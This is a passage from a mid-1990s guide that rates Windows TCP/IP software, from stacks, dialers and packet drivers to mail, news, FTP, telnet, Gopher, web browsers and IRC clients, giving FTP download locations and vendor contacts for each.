    ftp://biochemistry.bioc.cwru.edu/pub...p/vxdtcpa2.zip

    MICROSOFT TCP/IP

    Recommendation
    Microsoft TCP/IP-32 for WFW 3.11

    Adds TCP/IP to WFW 3.11. This stack is unique in that it
    supports NetBIOS over TCP/IP, allowing you to mount shares
    across the Internet, including ftp.microsoft.com. Available as:
    ftp://ftp.microsoft.com/peropsys/windows/Public/tcpip/

    CHAMELEON SAMPLER

    Recommendation
    Chameleon Sampler Free

    This is an introductory version of Chameleon by NetManage, that
    is currently packaged with various Windows Internet books (including mine).
    This supports SLIP/CSLIP/PPP, but not network adapters. In my
    opinion this is the easiest to setup, fully functional dialup IP
    stack around. The package includes applications for mail, ftp,
    telnet, and ping. Telnet supports TTY, ANSI, VT52, VT100, and VT220
    emulation. However, be aware that this stack should not be installed
    if you already have another WINSOCK DLL loaded; several applications
    in Chameleon Sampler do not check for another WINSOCK version and
    will load the NEWT stack anyway.

    Available via:
    ftp://ftp.netmanage.com/pub/demos/sampler/sampler.exe

    NetManage, Inc.; 10725 North De Anza Blvd, Cupertino, CA 95014,
    (408)973-7171, fax: (408)257-6405, mailto:support@netmanage.com

    *Suggestion
    Internet Connect v2

    Internet-Connect v2.0 from Core Systems is a TCP/IP stack implemented
    as a 32-bit VxD and DLL, thus requiring no DOS memory. It supports
    both LAN (Ethernet) and SLIP/CSLIP/PPP connections. Other features
    include demand dial, dynamic address assignment, scripting, multiple
    interfaces with IP routing and forwarding, and BOOTP/DHCP.

    Internet-Connect v2.0 provides a complete Winsock API. A Windows-based
    setup program and network configuration utility is included. Available via:
    ftp://oak.oakland.edu/SimTel/win3/winsock/inetv2.zip


    DIALERS

    Recommendation
    Dialer Free

    DIALER is a Windows program that will dial up a host and then
    run a series of WIndows applications. It isn't needed with
    Trumpet Winsock anymore, since this now has its own built-in
    scripting language. Available at:
    ftp://winftp.cica.indiana.edu/pub/pc...il/dialexe.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/dialexe.zip

    Recommendation
    GOSLIP Free

    This is another SLIP dialer with built-in scripting that allows
    for multiple configurations, for each service you dial. Available at:
    ftp://winftp.cica.indiana.edu/pub/pc...il/goslip2.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/goslip2.zip

    Recommendation
    NetDial
    Shareware $20

    Another dialer application that can support up to 5 configurations.
    Available at:
    ftp://winftp.cica.indiana.edu/pub/pc...il/netd122.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/netd122.zip
    ftp://winftp.cica.indiana.edu/pub/pc...l/netd122u.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/netd122u.zip
    (Upgrade from previous version)


    NETWORK ADAPTER DRIVERS

    Recommendation
    Crynwr drivers free
    Support Contact Crynwr for info

    The Crynwr drivers, formerly known as the Clarkson University
    CUTCP drivers, are created by Russ Nelson of Crynwr Software,
    which sells packet and other driver support. The Crynwr
    drivers support many Ethernet adapter boards, including
    those from 3COM, Telesystems, AT&T, Digital, Mitel, HP,
    BICC, NCR, Novell, Interlan, MICOM, Racal/Interlan, NTI,
    Tiara, Ungermann-Bass, and Western Digital.

    The Packet Driver Specification v1.09 is available via:
    ftp://vax.ftp.com/pub/packet-d.ascii,
    ftp://vax.ftp.com/pub/ppacket-d.mss

    PC-NFS drivers available in
    ftp://ftp.sun.soe.clarkson.edu/pub/p...ers/compat.zip
    (requires Sun's PC-NFS).

    The drivers, currently in release 11 are available at:
    ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11.zip (executables)
    ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11a.zip (sources)
    ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktdt11b.zip (sources)
    ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11c.zip (executables)
    ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11.zip (additional executables and sources)

    Crynwr Software, 11 Grant St., Potsdam, NY 13676,
    (315)268-1925, fax: (315)268-9201, mailto:nelson@Crynwr.com

    Recommendation
    Intel EtherExpress Driver free

    This is a replacement packet driver for the Intel Etherexpress driver
    (exp16.com) found in v11 of the Crywr packet driver library. It fixes
    problems with "Unable to initialize the 82586" errors on 486/66 or
    faster machines.

    Available from:
    ftp://oak.oakland.edu:/pub/msdos/pktdrvr/exp16116.zip

    Downright speculation
    Drivers for Western Digital Ethernet Boards free

    Available as:
    ftp://ftp.cdrom.com/.2/SimTel/msdos/lan/wdpost.zip

    Recommendation
    NDIS Drivers free

    Libraries of free NDIS drivers for DOS and OS/2 are
    available at FTP Software, Inc. at
    ftp://vax.ftp.com/ndis/ndis.txt. Another source of
    NDIS drivers is the Windows for Workgroups package.
    New drivers are available for download from Microsoft
    Product Support Services, available at (206)936-MSDL,
    or on CompuServe or GEnie. The Windows Driver LIbrary (WDL),
    which includes printer, display and network drivers is also
    available on disk from Microsoft by calling (800)426-9400.

    The NDIS spec is available as:
    ftp://vax.ftp.com/pub/ndis-mac.v101.txt,
    ftp://vax.ftp.com/pub/ndis-mac.v201.txt

    SLIP AND PPP DRIVERS

    Suggestion
    SLIPPER v1.5 Free
    CSLIPPER Free

    SLIPPER and CSLIPPER get rave reviews for being less
    obtrusive than some other SLIP/CSLIP drivers so that
    the machine loses fewer clock ticks. The result is
    that the clock stays more accurate. SLIP/CSLIP operation
    is supported at up to 57.6 Kbps on a 486. CSLIPPER is a
    version which supports Van Jacobson header compression.
    Supports PKTMUX.

    SLIPPER is available from:
    ftp://ftp.utas.edu.au/pc/trumpet/slipper/slipper.zip
    ftp://biochemistry.cwru.edu/pub/slipper/slippr13.zip

    CSLIPPER is available from:
    ftp://biochemistry.cwru.edu/pub/slipper/cslipper.exe

    P. Tattam, Programmer; Psychology Department, University of
    Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
    mailto:peter@psychnet.psychol.utas.edu.au

    Recommendation
    ETHERPPP Free

    Glenn McGregor, formerly of Merit Network, has released
    ETHERPPP, a PPP packet driver that simulates a class
    1 (Ethernet) packet driver. It works well enough, is
    simple to configure, but takes up too much RAM (121K).
    Available as: ftp://merit.edu/pub/ppp/pc/etherppp.zip

    WINDOWS SOCKETS COMPATIBLE APPLICATIONS

    MAIL

    Suggestion
    UUPC

    This is a port of UUPC for DOS, Windows, and Windows NT. It
    support UUCP over a modem as well as over TCP/IP.
    It does not include a mail or news reader. Available as:
    ftp://ftp.clarkson.edu/pub/uupc/
    ftp://ftp.clarkson.edu/pub/uupc/upc12baw.zip (docs)
    ftp://ftp.clarkson.edu/pub/uupc/upc12bd1.zip (DOS executables, part 1)
    ftp://ftp.clarkson.edu/pub/uupc/upc12bd2.zip (DOS executables, part 2)
    ftp://ftp.clarkson.edu/pub/uupc/upc12bd3.zip (DOS executables, part 3)
    ftp://ftp.clarkson.edu/pub/uupc/upc12bw1.zip (Win3 executables, part 1)
    ftp://ftp.clarkson.edu/pub/uupc/upc12bw2.zip (Win3 executables, part 2)
    ftp://ftp.clarkson.edu/pub/uupc/upc12bw3.zip (Win3 executables, part 3)
    ftp://ftp.clarkson.edu/pub/uupc/upc12bn1.zip (NT executables, part 1)
    ftp://ftp.clarkson.edu/pub/uupc/upc12bn2.zip (NT executables, part 2)
    ftp://ftp.clarkson.edu/pub/uupc/upc12bn3.zip (NT executables, part 3)
    ftp://ftp.clarkson.edu/pub/uupc/upc12bs1.zip (Source files, part 1)
    ftp://ftp.clarkson.edu/pub/uupc/upc12bs2.zip (Source files, part 2)


    Recommendation
    PCEudora v1.44 Free

    The Windows version of Eudora, compatible with Windows Sockets.
    Handles SMTP, POP3, offers BINHEX4 and MIME support. This is the
    nicest TCP/IP mail client available anywhere. The lastest version
    now runs under Windows NT.

    Available at:

    ftp://ftp.qualcomm.com/quest/windows...4/eudor144.exe (PC Eudora)
    ftp://boombox.micro.umn.edu/pub/pc/binhex/binhex.exe (BINHEX)

    Qualcomm, sales: mailto:eudora-sales@qualcomm.com, bug reports:
    mailto:pc-eudora-bugs@qualcomm.com, (800)238-3672

    Suggestion
    Pegasus mail Free

    Pegasus supports SMTP/POP3, with DOS and Windows versions. It can be used
    as under Novell Netware, or as a TCP/IP mailer. While the software
    is free, the author charges for manuals. A discussion group is
    available: news:bit.listserv.pmail. Available as:

    Pegasus mail is available via:
    ftp://oak.oakland.edu/SimTel/win3/mail/winpm122.zip (Windows version),
    ftp://pub.vse.cz/pub/msdos/pmail/winpm122.zip
    ftp://risc.ua.edu/pub/network/pegasus/winpm122.zip (Windows version),
    ftp://risc.ua.edu/pub/network/pegasus/pmail311.zip (DOS version)

    Suggestion
    SMTP client v1.1 Free

    A Windows Sockets-compatible SMTP client that is limited to
    send only. Not as functional as PCEudora (which also handles
    POP3). Available at:
    ftp://sunsite.unc.edu/pub/micro/pc-s...pps/smtp11.zip

    Contact: mailto:Todd.Young@StPaul.NCR.COM

    Suggestion
    RFD Mail
    Shareware $29.95

    This is an SMTP/POP3 mailer that does not support file enclosures.
    However, it is ideal for users who receive mail on commercial services
    such as CompuServe and GEnie, in addition to the Internet, since it
    can work in each of these cases.

    Available as:
    ftp://ftp.std.com/customers/software...il/rfdmail.zip

    Suggestion
    WinBiff mail notifier
    Shareware $10
    Students $5

    This utility can poll for mail and notify you when it
    comes in. It works with Waffle, Pegasus Mail, FirstMail,
    Novell MHS, Mini-Host, FSUUCP, or even Sendmail if you're
    also running PC-NFS.

    Available as:
    ftp://winftp.cica.indiana.edu/pub/pc...l/wnbff20b.zip
    ftp://ftp.cdrom.com/.5/cica/util/wnbff20b.zip


    NEWS

    *Downright speculation
    xp_slip Free

    xp_slip is a set of DOS TCP/IP applications by Karl Weis,
    mailto:khweis@mvmpc9.ciw.uni-karlsruhe.de, designed to automatically
    retrieve mail and news via an offline reader.

    Available via:
    ftp://mvmpc9.ciw.uni-karlsruhe.de/x_slip/
    http://mv70.rz.uni-karlsruhe.de/~ig19/

    *Recommendation
    News Xpress v2.1
    Freeware

    This is the best Windows newsreader; it offers built in uudecode/uuencode.
    Available via:
    ftp://ftp.hk.super.net/pub/windows/W...ies/nx10b3.zip

    *Downright speculation
    TRP
    Shareware

    Available via:
    ftp://ftp.internet-eireann.ie/pub/ie...ock/TRP104.ZIP
    ftp://ftp.demon.co.uk/pub/ibmpc/winsock/apps/trp/

    Johannes Eggers, Tetrix Engineering, 201 Harold's Cross Road, Harold's Cross,
    Dublin 6W, Ireland; +353-1-4964121, mailto:Johannes@tetrix.internet-eireann.ie

    Recommendation
    Windows Trumpet v1.0b

    WinTrumpet is a Windows-Sockets compatible NNTP client
    from P. Tattam that supports the Trumpet ABI, packet
    drivers, Novell Lan Workplace for DOS and WinSock v1.1.
    It is the nicest shareware NNTP newsreader for Windows
    Sockets. Available at:
    ftp://ftp.utas.edu.au/pc/trumpet/wintrump/wt_wsk.zip
    ftp://biochemistry.cwru.edu/pub/wintrump/wt_wsk.zip
    (Windows Sockets version),
    ftp://biochemistry.cwru.edu/pub/wintrump/wtpkt10a.zip,
    ftp://biochemistry.cwru.edu/pub/wintrump/wtabi10a.zip,
    ftp://biochemistry.cwru.edu/pub/wintrump/winpkt.com,
    ftp://biochemistry.cwru.edu/pub/wintrump/wtlwp10a.zip (Lan Workplace for DOS)

    Downright Speculation
    WinVN v0.926

    A semi-graphical Windows application for reading news
    which supports NNTP over TCP/IP or serial line connections,
    and can send mail via SMTP or MAPI. Compatible with Winsock v1.1;
    a version is also available for Windows NT. Does not support
    LocalTalk. Current version has been tested with:

    NetManage's WINSOCK
    FTP Inc.'s WINSOCK
    Wollongong's WINSOCK
    NT's WSOCK32
    DEC's Pathworks
    MS's Lan Man

    Available at:
    ftp://ftp.ksc.nasa.gov/pub/win3/winvn/
    ftp://winftp.cica.indiana.edu/pub/pc...k/winvn926.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/winvn926.zip

    Sam Rushing, email: mailto:rushing@titan.ksc.nasa.gov,
    mailto:hoggle!hoggle2!rushing@peora.sdc.ccur.com

    You'll find a bunch of zip files. Be sure to use binary mode.
    Read the file announce-2.txt first.

    While you're at it, you might also try out the spellchecker at:
    ftp://ftp.erinet.com/pub/dmike/wcspell3.zip

    Downright Speculation
    DMail

    This is a mail/news program written in Russia for use by
    Russians. It supports UUCP-g, either over modem or TCP/IP,
    SMTP, POP3, and NNTP, as well as drag and drop, uudecode,
    and sorting of articles by size, date, or subject.

    Available via:
    ftp://ftp.cdrom.com/.5/cica/winsock/dmailwin.zip

    FILE TRANSFER

    Downright Speculation
    WinFTP

    WinFTP is a modified version of WS_FTP, with the mods done by
    mailto:slahiri@magnus.acs.ohio-state.edu. Since WS_FTP
    continues to evolve and includes a 32-bit version, and WinFTP
    has not been updated since January 1994, this program is now
    out of date.

    Available via:
    ftp://ftp.cdrom.com/.5/cica/winsock/winftp.zip
    ftp://cnuce-arch.cnr.it/pub/msdos/wi...ock/winftp.zip


    *Recommendation
    WS-FTP client free

    This is the most current and featureful graphical FTP implementation,
    regularly updated by John A. Junod. Available at:
    ftp://129.29.64.246/pub/msdos/ws_ftp.zip
    ftp://ftp.usma.edu/pub/msdos/winsock.files/ws_ftp.zip (executable)
    ftp://ftp.usma.edu/pub/msdos/winsock.files/ws_ftp_s.zip (source code)
    ftp://ftp.cdrom.com/.5/cica/winsock/ws_ftp32.zip (32 bit version)
    ftp://sunsite.unc.edu/pub/micro/pc-s...pps/ws_ftp.zip

    John Junod; mailto:zj8549@trotter.usma.edu; mailto:junodj@gordon-emh2.army.mil
    NCOIC, Technology Integration Branch, Computer Science School,
    FT Gordon, GA 30905; (706)791-3245 AV:780-3245

    Recommendation
    Winfsp v1.2 Free

    A Windows Sockets-compatible implementation of the
    File Slurping Protocol. I got it working with no
    problem. Be aware that the Òprotocol searchÓ option
    can take quite a while; you may have be asking the
    client to individually test hundreds of ports, at
    a second per port. Available at:
    ftp://winftp.cica.indiana.edu/pub/pc...k/winfsp12.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/winfsp12.zip

    TELNET

    Recommendation
    COMt - The Telnet Modem
    Shareware, $15.95

    This program adds telnet capability to any Windows 3.1
    terminal emulator. This is great if you need some special
    kind of emulation, such as PC-ANSI or RIP. Available via:
    ftp://ftp.std.com/customers/software/rfdmail/comt.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/comt.zip

    Recommendation
    EWAN

    This is a Telnet implementation that supports ANSI and VT100
    emulation. Allows customized configuration. Available via:
    ftp://ftp.lysator.liu.se/pub/msdos/windows/ewan1052.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/ewan1052.zip

    Suggestion
    Trumpet Telnet v0.5

    A Windows Sockets compatible Telnet implementation. Available at:
    file:/petros.psychol.utas.edu.au/pub/trumpet/trmptel/trmptel.exe

    Downright speculation
    Windows Telnet beta 3 free

    An unsupported Telnet implemenation for Windows. Windows Sockets compatible.
    Available at:
    ftp://ftp.ncsa.uiuc.edu/PC/Telnet/windows/wintelb3.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/wintelb3.zip

    Suggestion
    Windows TN3270 client v1.7
    Shareware $35

    A Windows Sockets-compatible TN3270 and Tektronix 4010 client that
    began as freeware and is now shareware.
    Available at:
    ftp://ftp.ccs.queensu.ca/pub/msdos/tcpip/qws3270.zip

    Suggestion
    UW Free

    This is a multi-window terminal emulator, supporting VT52, VT100
    and VT200 emulation. It is therefore similar to MacLayers.
    Available via:
    ftp://ftphost.cac.washington.edu/pub...k/uwterm_0.97f

    Suggestion
    YawTel Free

    This is a telnet emulator designed to work with Windows
    Mosaic. Available via:
    ftp://ftp.cdrom.com/.5/cica/winsock/yawtel02.zip

    *Recommendation
    WinQVT/Net v3.989
    Shareware $40
    Students $20

    QVTNet is a Windows v3.1 application that supports FTP
    client and server (not fully graphical; commands are
    entered at the bottom of the window), telnet (up to
    15 simultaneous sessions), mail (SMTP and POP3),
    NNTP (up to 30 newsgroups) and lpr. It is written
    as a DLL, and comes in several versions: a Windows
    Sockets-compatible version (recommended); a 32-bit
    version; and a version with it's own built-in
    TCP/IP stack. The version with the built-in stack
    requires that you load PKTINT in DOS before running
    it, and also requires you to supply your own packet
    drivers, and is compatible with AppleTalk as well as
    class 6 SLIP drivers.

    Note: the 16-bit Winsock version of WinQVT/Net has
    problems under Windows NT; use the 32-bit version instead.

    Available at:
    ftp://biochemistry.bioc.cwru.edu/gop...t/qvtne398.zip
    (packet driver version with built-in TCP/IP stack),
    ftp://biochemistry.bioc.cwru.edu/gop...t/qvtnt398.zip
    (Windows NT version),
    ftp://biochemistry.bioc.cwru.edu/gop...t/qvtws398.zip
    (Windows Sockets version).

    Contact: mailto:djpk@troi.cc.rochester.edu

    WAIS

    Downright Speculation
    USGS WAIS Client

    A Windows WAIS client, available at:
    ftp://ridgisd.er.usgs.gov/software/wais/wwais24.zip.

    *Downright Speculation
    WAIS Manager

    A Windows WAIS client, now compatible with Windows
    Sockets, available at:
    ftp://ftp.cnidr.org/pub/NIDR.tools/w...s/waisman3.zip
    ftp://ftp.cnidr.org/pub/NIDR.tools/w...s/uncwais5.zip

    Jim Fullton, UNC Office of Information Technology, Computing
    Systems Development Group, (919)962-9107; email: mailto:fullton@samba.oit.unc.edu.

    Recommendation
    EINet winWAIS v2.04
    Shareware, $35

    The most mature Windows WAIS client, Windows Sockets-compatible. Available at:
    ftp://ftp.einet.net/einet/pc/EWAIS204.ZIP or
    ftp://winftp.cica.indiana.edu/pub/pc...k/ewais204.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/ewais204.zip

    EINet Windows Shareware, MCC, 3500 West Balcones Center Drive,
    Austin, TX 78759-6509

    GOPHER

    Recommendation
    HGopher v2.4 Free

    This is a Windows-sockets compatible version of Gopher, that is
    now the property of FTP Software, Inc. Looks good.
    Be sure to get the viewers, too. Available at:
    ftp://ftp.cdrom.com/.5/cica/winsock/hgoph24.zip

    Recommendation
    InterGopher Demo

    A demo Gopher client from Intercon. Available at:
    ftp://ftp.intercon.com/InterCon/sale...ks/igopher.exe

    Recommendation
    WSGopher v1.1 Free

    The best Gopher+ client for Windows. Available at:
    ftp://dewey.tis.inel.gov/pub/wsgopher/wsg-11.exe
    ftp://boombox.micro.umn.edu/pub//gop...ows/wsg-11.exe

    Suggestion
    BCGopher

    This is a Gopher+ implementation that supports HTML and MIME.
    Note that this site does not use anonymous FTP; rather you must login as guest.
    Available via:
    ftp://ftp.demon.co.uk/pub/ibmpc/wins...r/bcgopher.zip

    Recommendation
    PNL InfoBrowser

    This is the best of the 16-bit Gopher+ implementations. Includes a waft of new
    features not available in any other Gopher implementation. Impressive!
    Available via:
    ftp://ftp.pnl.gov/pub/pnlinfo/win/ib105.exe

    WEB BROWSERS

    Recommendation
    WinWeb Free

    Another publicly distributable Web client, created
    by the EINet subsidiary of MCC.

    Available at:
    ftp://ftp.einet.net/einet/pc/winweb.zip

    *Recommendation
    Netscape v1.0 Free

    Although it could use some improvements in the speed area,
    and it has its share of bugs, Netscape is now recognized as
    the preeminent Web browser. The interface is clean, it includes
    buttons linking to some excellent Web pages at mcom.com, it supports
    proxy servers, mailto: URLs, and best of all, a newsreader
    that completely outclasses the competition. For example,
    while reading news, you can follow URLs in the text.
    Biggest complaint: no direct support for WAIS URLs (no PC
    Web browser supports this, only XMosaic does).
    Second biggest complaint: Mozilla is the ugliest mascot
    since Spuds MacKenzie. The current release is a 16-bit
    application.

    Available via:
    ftp://ftp.mcom.com/netscape/ (Primary archive for v1.0)
    ftp://ftp.digital.com/pub/net/infosys/Mosaic-Comm/
    ftp://lark.cc.ukans.edu/Netscape/
    ftp://ftp.meer.net/pub/Netscape/
    ftp://src.doc.ic.ac.uk/packages/Netscape/
    ftp://unix.hensa.ac.uk/pub/mosaic.comm.corp/
    ftp://archie.au/pub/misc/netscape/
    ftp://ftp.cica.indiana.edu/pub/pc/win3/winsock/ (PC only)
    ftp://mac.archive.umich.edu/mac/util/network/ (Mac only)

    Suggestion
    Internetworks Lite

    This is a demo version of a commercial program called
    Internetworks, which is available on CD-ROM along with
    an electronic copy of The Internet Yellow Pages (not
    the Harley Hahn version, the other one).
    Its major distinguishing features are support of OLE v2.0,
    and the ability to download more than one page simultaneously.
    This is a 16-bit application, available via:

    ftp://ftp.booklink.com/lite/netlite.exe

    *Recommendation
    Windows Mosaic v2.0a9 free

    In my opinion, the release of Netscape has rendered Mosaic
    (as well as its commercial cousins, Spyglass Mosaic and
    AIR Mosaic) obsolete. However, it still may be of
    historical interest for some.

    The Internet's Swiss army knife: supports hypertext links,
    font styles, embedded pictures, sounds, and movies. An amazing
    application. Compatible with Windows Sockets. Version 2.0
    supports forms, clickable regions within pictures. To use this
    to read local documents without a TCP/IP stack installed, you
    will need to download the Null Winsock.

    Please note: Since Mosaic is now a 32-bit app,
    unless you are running Windows NT, or Windows 95 you must install
    Win32s (available from ftp.microsoft.com) in order to run Mosaic. Also,
    make sure you get the viewers for sounds, JPEG, and MPEG.
    Available at:
    ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/wmos20a9.zip (32-bit version)
    ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/win32s.zip,
    ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/readme.now (Windows Mosaic)
    ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/nullsock.zip (Null Winsock)

    GIF viewer:
    ftp://lister.cc.ic.ac.uk/pub/wingoph...e/wingif14.zip
    ftp://lister.cc.ic.ac.uk/pub/wingoph...s/image/gv.zip

    JPEG viewer:
    ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/viewers/lview31.zip
    ftp://lister.cc.ic.ac.uk/pub/wingoph...ge/lview31.zip
    ftp://lister.cc.ic.ac.uk/pub/wingoph...e/jview090.zip

    MPEG viewer:
    ftp://biochemistry.cwru.edu/pub/dos/mpeg2.zip
    ftp://lister.cc.ic.ac.uk/pub/wingoph...vies/mpeg2.zip
    ftp://decel.ecel.uwa.edu.au/users/michael/mpegw32h.zip (32-bit player,
    $25 shareware)

    Windows Quicktime:
    ftp://lister.cc.ic.ac.uk/pub/wingoph...es/qtwplay.zip

    Sound player:
    ftp://lister.cc.ic.ac.uk/pub/wingoph.../wnplny09b.zip

    *Suggestion
    Cello WWW client v1.01 Free

    Cello has not kept up with some of the latest features,
    such as Mosaic authentication. But it is generally
    stable. The current version supports Windows Sockets, and can
    be run under Windows NT.

    Available at:
    ftp://ftp fatty.law.cornell.edu/pub/LII/Cello/cello.zip,
    ftp://ftp fatty.law.cornell.edu/pub/LII/Cello/viewers.zip,
    the graphics viewer and sound player;
    ftp://ftp fatty.law.cornell.edu/pub/LII/Cello/gswin.zip,
    a Ghostscript Postscript viewer for Windows.

    Suggestion
    SetMos v1.2 free

    A setup utility for Windows Mosaic by Rod Potter. Available via:
    ftp://ftp.cdrom.com/.5/cica/winsock/smosaic.zip
    ftp://winftp.cica.indiana.edu/pub/pc...ck/smosaic.zip

    *Downright speculation
    Miscellaneous HTML editing tools:

    ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/hypedit.zip
    ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/gt_html.zip
    ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/ant_html.zip
    http://www.utirc.utoronto.ca/HTMLdocs/pc_tools.html
    http://werple.mira.net.au/%7Egabriel/web/html/editors/
    ftp://ftp.cray.com/src/WWWstuff/RTF/latest/binaries
    HTML docs:
    ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/htmldocs.zip

    Downright speculation
    HTML Editor

    Another HTML editor.
    ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/htmed09a.zip

    Downright speculation
    HTML Assistant Free

    This an MS Windows-compatible text editor for use in
    creation of HTML documents. It supports multiple documents.
    Available at:
    ftp://ftp.cs.dal.ca/htmlasst/htmlasst.zip,
    ftp://ftp.cs.dal.ca/htmlasst/vbrun300.zip,
    ftp://ftp.cs.dal.ca/htmlasst/readme.1st

    Downright speculation
    HTMTools Free

    This program is a DLL that allows you to go directly from
    MS Word for Windows v2.0 to HTML. Written by Jorma
    Hartikka, mailto:Jorma.Hartikka@csc.fi. Available as:
    ftp://ftp.funet.fi/pub/msdos/windows...d/htmtl050.zip

    Downright speculation
    Word Macros for HTML free

    This adds a toolbar to MS Word for Windows that supports adding
    links, inline images, etc. Available via:
    ftp://ftp.ncsa.uiuc.edu/Web/html/Windows/cu_html.zip
    ftp://ftp.cuhk.hk/pub/www/windows/util/cu_html.zip

    Downright speculation
    HTMLWriter Free

    HTML Writer is another tool for producing HTML documents.
    It is available via ftp://ftp.byu.edu/tmp/htmlwrit.zip.

    Downright speculation
    HoTMetaL Free

    HoTMetaL a freeware version of what is perhaps the best
    HTML authoring tool for Windows, HoTMetaL Pro. This
    version will not view images, but it will produce legal
    HTML. It is available via:
    ftp://ftp.ncsa.uiuc.edu/Web/html/hotmetal/Windows
    ftp://ftp.ncsa.uiuc.edu/Web/html/Windows


    MULTIMEDIA

    Recommendation
    NCSA Audible Collage

    This is a whiteboard program from NCSA that is also implemented
    on the Mac and UNIX. Available as:
    ftp://winftp.cica.indiana.edu/pub/pc...k/col_12b1.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/col_12b1.zip

    Recommendation
    CU-SeeMe free

    This application allows you to view live 4-bit grayscale
    video from other participants in a 160x120 window. It does
    not support sound. Available via:

    ftp://gated.cornell.edu/pub/video/
    ftp://gated.cornell.edu/pub/video/CU-SeeMe.FAQ.7-6.txt


    *Downright Speculation
    Internet Voice Chat v1.1
    Shareware $20

    This is a program by Richard Ahrens that allows voice conversations over
    the Internet. It even supports an answering machine and call screening!
    Requires WinSock 1.1, a sound card with microphone, and 386 or better.
    Available at:
    ftp://ftp.cdrom.com/.5/cica/winsock/ivc11.zip
    ftp://www.unb.ca/pub/winsock/ivc11.zip
    ftp://ftp.demon.co.uk/pub/ibmpc/wins.../ivc/ivc11.zip

    Richard L. Ahrens, 7 Omega Ct., Middletown, NJ 07748 USA;
    finger ahrens26@futures.wharton.upenn.edu for status info

    Downright speculation
    Mr. Squiggle Free

    This a Windows-Sockets compatible whiteboard application
    that allows two people to share the same drawing window
    over the Internet. It was implemented in Visual Basic V3,
    and uses Brian Syme's VBWSK Visual Basic Winsock control.
    Available at:
    ftp://commsun.its.csiro.au/csiro/win.../squiggle.zip,
    ftp://commsun.its.csiro.au/csiro/win...e/squiggle.doc


    MUDS & GAMES

    *Recommendation
    iDOOM v1.1

    This is the technical advance you've all been waiting for, and which
    system administrators worldwide have been dreading:
    DOOM over the Internet!

    iDOOM is a TCP/IP network driver for DOOM (just as IPXSETUP works for
    for IPX nets and SERSETUP works for serial connections).

    Available from:
    ftp://mrcnext.cso.uiuc.edu/asre/idoom11.zip


    Suggestion
    MUD Man
    Shareware $9, US, $15 non-US

    A MUD client. Available as:
    ftp://wuarchive.wustl.edu/pub/MSDOS_...mes/mudman.zip

    Suggestion
    MUDManager
    Shareware

    A 32-bit MUD client requiring 8 Mb RAM, and 5 Mb or disk space.
    Available as:
    ftp://caisr2.caisr.cwru.edu/pub/mud/...s/mudmgr01.exe

    Suggestion
    MUDWin

    A Windows MUD implementation by Sam Denton. Available as:
    ftp://ftp.std.com/pub/sdenton/mudwin.zip

    Suggestion
    Windows Chess

    Play Chess over the Internet. Available as:
    ftp://ftp.cdrom.com/.5/cica/winsock/wschesb1.zip
    ftp://ftp.cica.indiana.edu/pub/pc/wi...k/wschesb1.zip

    *Suggestion
    First International Backgammon Server for Windows (FIBS/W) v1.21
    Shareware $40

    Available via: ftp://ftp.cica.indiana.edu/pub/pc/wi...s/fibsw121.zip

    *Suggestion
    Go client
    Shareware $5

    Available via:
    ftp://disabuse.demon.co.uk/pub/ibmpc...go/wigc1_3.zip


    TALKING

    Downright speculation
    WinTalk v1.21 Free

    A Windows Sockets-compatible implementation of Ntalk and Talk. Available at:
    ftp://elf.com/pub/wintalk/wtalk121.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/wtalk121.zip

    Recommendation
    Windows IRC

    This is a Windows IRC client, available as:
    ftp://ftp-ns.rutgers.edu/pub/msdos/t...rc/winirc.exe,
    ftp://ftp-ns.rutgers.edu/pub/msdos/t...irc/winirc.doc

    Downright Speculation
    WS-IRC
    Shareware $39.95
    Students $24.95
    Site license: $449.95

    A really nice shareware Windows IRC client that supports most
    IRCII commands except for DCC and CTCP. Available as:
    ftp://ftp.cdrom.com/.5/cica/winsock/wsirc14b.zip
    Also available on ftp://cs.bu.edu/irc/clients/pc/windows/wsirc14b.zip,
    ftp://winftp.cica.indiana.edu/pub/pc/win3/winsock/
    ftp://ftp.undernet.org/, ftp://ftp.demon.co.uk/

    Downright Speculation
    IRCIIWIN
    Shareware, $50
    Site license: $450

    This is another IRC implementation for Windows. Available via:
    ftp://winftp.cica.indiana.edu/pub/pc/win3/winsock/

    DIRECTORIES

    Recommendation
    WS-Finger Free

    A Windows Sockets compatible finger implementation. Available at:
    ftp://sparky.umd.edu/pub/winsock/wsfngr11.zip

    Recommendation
    Finger v3.1 Free

    The Windows version of Finger, which requires a Winsock DLL.
    It works; try it out.
    Available at:
    ftp://winftp.cica.indiana.edu/pub/pc...k/finger31.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/finger31.zip

    Downright speculation
    PhWin v2.2 Free

    Windows implementation of Phby Graeme Campbell. Available at:
    ftp://ftp.cdrom.com/.5/cica/winsock/phwin22.zip

    Downright speculation
    IRL CSO/Phones Client Free

    This is implemented in both 16-bit and 32-bit versions, for
    those running Win32s, NT, or Windows 95. Available via:
    ftp://auck.irl.cri.nz/pub/phone/irlphwin.zip,
    ftp://auck.irl.cri.nz/pub/phone/irlph23.zip

    Recommendation
    WS-Archie

    A windows sockets compatible Archie implementation by David Woakes.
    Looks very good; runs fine under Windows NT.
